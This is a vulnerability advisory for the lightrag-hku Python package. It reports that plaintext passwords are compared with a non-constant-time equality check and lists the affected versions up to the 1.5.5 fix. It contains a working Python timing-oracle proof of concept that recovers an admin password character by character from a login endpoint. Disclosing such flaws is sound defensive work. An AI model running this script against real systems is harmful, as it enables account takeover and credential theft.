PYSEC-2026-4061

See a problem?

Import Source

https://github.com/pypa/advisory-database/blob/main/vulns/lightrag-hku/PYSEC-2026-4061.yaml

JSON Data

https://api.osv.dev/v1/vulns/PYSEC-2026-4061

Aliases

Published

2026-10-01T16:38:37Z

Modified

2026-10-01T17:45:03Z

Severity

5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Details

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

References

Affected packages

PyPI / lightrag-hku

Package

Name: lightrag-hku; View open source insights on deps.dev
Purl: pkg:pypi/lightrag-hku

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

1.5.5

Affected versions

0.*

0.0.2

0.0.3

0.0.4

0.0.5

0.0.6

0.0.7

0.0.8

0.0.9

1.*

1.0.0

1.0.1

1.0.3

1.0.5

1.0.6

1.0.8

1.0.9

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.1.7

1.2.1

1.2.2

1.2.3

1.2.5

1.2.6

1.3.0

1.3.1

1.3.2

1.3.3

1.3.4

1.3.5

1.3.6

1.3.7

1.3.8

1.3.9

1.4.0

1.4.1

1.4.2

1.4.3

1.4.4

1.4.5

1.4.6

1.4.7

1.4.8rc4

1.4.8rc6

1.4.8rc7

1.4.8rc8

1.4.8rc9

1.4.8.1

1.4.8.2

1.4.9rc1

1.4.9rc2

1.4.9rc3

1.4.9rc4

1.4.9

1.4.9.1

1.4.9.2

1.4.9.3

1.4.9.4rc1

1.4.9.4

1.4.9.5

1.4.9.6

1.4.9.7

1.4.9.8

1.4.9.9

1.4.9.10

1.4.9.11

1.4.10

1.4.11rc2

1.4.11

1.4.12rc1

1.4.12

1.4.13rc1

1.4.13

1.4.14

1.4.15

1.4.16

1.5.0rc1

1.5.0rc2

1.5.0rc3

1.5.0

1.5.1

1.5.2

1.5.3

1.5.4

1.5.5rc1

Database specific

source

"https://github.com/pypa/advisory-database/blob/main/vulns/lightrag-hku/PYSEC-2026-4061.yaml"